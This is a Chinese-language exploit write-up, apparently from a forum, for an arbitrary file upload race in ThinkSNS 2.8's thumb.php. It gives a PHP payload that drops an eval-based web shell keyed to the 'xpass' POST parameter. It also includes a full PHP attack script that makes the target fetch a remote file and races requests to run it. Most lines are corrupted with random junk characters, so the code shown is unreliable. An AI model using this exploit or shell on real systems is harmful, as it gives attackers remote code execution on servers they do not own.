漏洞版本$ y1 @8 L: m, I$ C( A
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)) c7 n& i X* i5 v
漏洞文件
2 r) v" q9 l% H' u# q存在漏洞的文件为:thumb.php, B3 I2 [, f9 B
作者:韦鲲鹏
: G# D2 o7 {7 T9 y2 T1、 准备如下PHP文件并上传到服务器(自己的)。- F2 h3 h7 ^, @$ R! T3 v# g
文件内容如下:/ T5 l9 x! z2 e2 K$ z
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
8 f; s2 n5 |) g' C2、 计算出临时的文件名:: r$ z) V; X: p8 o
这里我们可以看文件的99行(刚刚是不是没注意呀!)。4 i0 a! ~4 m, ?% E% b) }
7 p6 ]2 n# J6 _* J
3、 上传临时文件。, x, Z& J4 q/ ~6 J+ v8 G
4、 访问临时文件。$ ]; e2 J @& ^( f- O/ p
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
4 X; n4 Y0 r: d a/ RExploit文件内容如下:(这个我就不详细解释了)
/ z' g' ^/ x0 c1 d* j7 G: A<?php/ [7 ^: d- }& h
error_reporting(0);6 ]" T& s/ Y* G% }
set_time_limit(0);
+ y- z O* Y; U5 u" {8 b6 G; @; C' [ini_set(“default_socket_timeout”, 5);
' g. O J! f* i' B, q$ m9 Zfunction http_send($host, $port, $headers) {
) G6 X1 S8 R- O$fp = fsockopen($host, $port);( r6 l! ?; E: U& F- d" z+ F0 q
if (!$fp) die(‘Connection -> fail’);
; t; T" e! F& K8 R: g- d, M) S2 ?fputs($fp, $headers);
5 k* I. H7 K1 L& ureturn $fp;
% E, o5 ?/ c- e}
0 a+ e" q% Z9 F% i' vfunction http_recv($fp) {
/ t: c$ i0 ]# @, j6 L+ _' }2 E$ret=”";
1 P# V# P+ N, pwhile (!feof($fp))1 Z) a8 |( R6 `& r2 N s
$ret.= fgets($fp, 1024);
. ^- Y7 M8 o& p# U8 k% Bfclose($fp);- @" g6 F/ c. L% E
return $ret;$ t! H5 V; l0 D& ?6 x s* k
}' Z& p8 G4 x: b% h9 K& r6 b& k
print “\n# ThinkSns Arbitrary File Upload #\n”;
+ h3 ?( I1 ]* U6 d7 Jprint “# Discovered by 韦鲲鹏 #\n\n”;
9 [& e4 I$ N# N" Vif ($argc < 4) {5 n* c. E0 u5 w) _$ B- g6 Q
print “Usage: php <host> <path> <romote_url>\n”;
( o5 j. ?# \; V' T# `print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;: v2 d) v; G+ V, ]7 ?
die();
, a, y) L( A$ g0 d2 d4 C) @8 b}- k0 @% r& c# l* G+ @9 B2 A
$host = $argv[1];
/ \; l5 t: n5 L& B$path = $argv[2];
8 C6 @8 {) g! H) q3 Z, X! w& P5 l4 ?$url = $argv[3];
|5 G- D2 m% q% R$i=0;$ A% E& v/ c P% x/ p
//上传数据包 h, v/ S8 `9 v( d$ w; n
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
- w; I$ S4 k* w; p$ j# e) {" @$headers_up .= “Host: “.$host.”\r\n”;
# A- I4 K+ W, e* Q- \$headers_up .= “Connection: close\r\n\r\n”;
. g9 x3 L5 j7 H: F" `* Decho $headers_up;
3 X O/ J; j/ X9 R//临时文件访问数据包
* m" T! F6 g; B) I" I) ^2 b( M* h$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;$ I6 p) x+ W m- S/ B
$headers .= “Host: “.$host.”\r\n”;! R/ V3 p! f; V* n# u
$headers .= “Connection: close\r\n\r\n”;
: Y; I& M `; b* i6 w$ E" becho $headers;
. w4 W- A6 Z) W, E' Q0 H" {8 {while(++$i<10) {9 x. D' o0 a$ l, z/ ^: q9 b/ B
fclose(http_send($host, 80, $headers));+ s j' S Q" m8 g
}
2 D+ d4 S4 Y% T8 R# |; f6 `3 {fclose(http_send($host, 80, $headers_up));8 x U8 U7 |0 B5 W5 g* g1 [
while(++$i<50) {
- H; S% P! x1 v @+ L) zfclose(http_send($host, 80, $headers));
4 l0 y* K' @: _+ j' R% I}
8 X8 u! _' j5 C' |8 a+ U% ^$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;# I# Z |6 r2 D7 r: G4 M5 }
$headers .= “Host: “.$host.”\r\n”; \% s* @! W& N
$headers .= “Connection: close\r\n\r\n”;1 @: L9 ^/ N$ g7 F- L
$res=http_recv(http_send($host, 80, $headers));5 @0 |, P7 I& Y2 F
if(preg_match(‘/200 OK/’,$res)) {
4 p% g. H" _$ [/ e2 rprint “Success!\n\n”;; Y6 `( z3 F7 Y. u
} else {
# v5 |7 A/ C9 S" |print “Fail!\n\n”;, I# j7 [2 t: P2 H0 k3 A, }) J+ ]
}
9 k$ Q; p7 ]" U3 J2 l8 T: ]. l?>$ `' U5 F' ?1 |5 U' V; }- P
|